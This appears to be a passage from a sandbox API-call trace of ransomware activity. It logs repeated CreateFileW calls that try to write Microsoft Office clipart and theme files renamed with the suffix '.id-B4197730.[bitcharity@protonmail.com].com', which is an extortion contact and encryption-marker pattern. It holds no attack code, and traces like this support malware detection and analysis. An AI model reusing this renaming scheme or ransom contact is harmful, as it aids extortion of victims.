[0262.721] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.721] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.722] CloseHandle (hObject=0x1194) returned 1 [0262.723] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.723] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.724] CloseHandle (hObject=0x1194) returned 1 [0262.726] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.727] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.727] CloseHandle (hObject=0x1194) returned 1 [0262.728] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.728] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.729] CloseHandle (hObject=0x1194) returned 1 [0262.731] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.731] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.731] CloseHandle (hObject=0x1194) returned 1 [0262.733] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.733] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.733] CloseHandle (hObject=0x1194) returned 1 [0262.735] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.735] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.735] CloseHandle (hObject=0x1194) returned 1 [0263.041] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.042] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.043] CloseHandle (hObject=0x1160) returned 1 [0263.045] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.045] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing1.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.045] CloseHandle (hObject=0x1160) returned 1 [0263.047] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.047] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing2.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.047] CloseHandle (hObject=0x1160) returned 1 [0263.056] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.056] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.057] CloseHandle (hObject=0x1160) returned 1 [0263.058] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.058] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.058] CloseHandle (hObject=0x1160) returned 1 [0263.059] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.059] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.060] CloseHandle (hObject=0x1160) returned 1 [0263.061] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.061] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.061] CloseHandle (hObject=0x1160) returned 1 [0263.063] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.064] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.064] CloseHandle (hObject=0x1160) returned 1 [0263.065] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.065] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.065] CloseHandle (hObject=0x1160) returned 1 [0263.066] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.066] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.066] CloseHandle (hObject=0x1160) returned 1 [0263.067] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.067] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.068] CloseHandle (hObject=0x1160) returned 1 [0263.073] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.073] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.073] CloseHandle (hObject=0x1160) returned 1 [0263.074] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.075] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.075] CloseHandle (hObject=0x1160) returned 1 [0263.076] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.076] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.077] CloseHandle (hObject=0x1160) returned 1 [0263.078] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.078] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.079] CloseHandle (hObject=0x1160) returned 1 [0263.080] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.080] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.080] CloseHandle (hObject=0x1160) returned 1 [0263.082] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.083] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.083] CloseHandle (hObject=0x1160) returned 1 [0263.085] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.085] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.085] CloseHandle (hObject=0x1160) returned 1 [0263.086] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.086] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.087] CloseHandle (hObject=0x1160) returned 1 [0263.088] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.088] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.088] CloseHandle (hObject=0x1160) returned 1 [0263.293] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.293] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.462] CloseHandle (hObject=0x1158) returned 1 [0263.463] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.463] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.463] CloseHandle (hObject=0x1158) returned 1 [0263.464] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.464] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.465] CloseHandle (hObject=0x1158) returned 1 [0263.465] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.465] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.466] CloseHandle (hObject=0x1158) returned 1 [0263.466] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.466] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.466] CloseHandle (hObject=0x1158) returned 1 [0263.467] SetFilePointerEx (in: 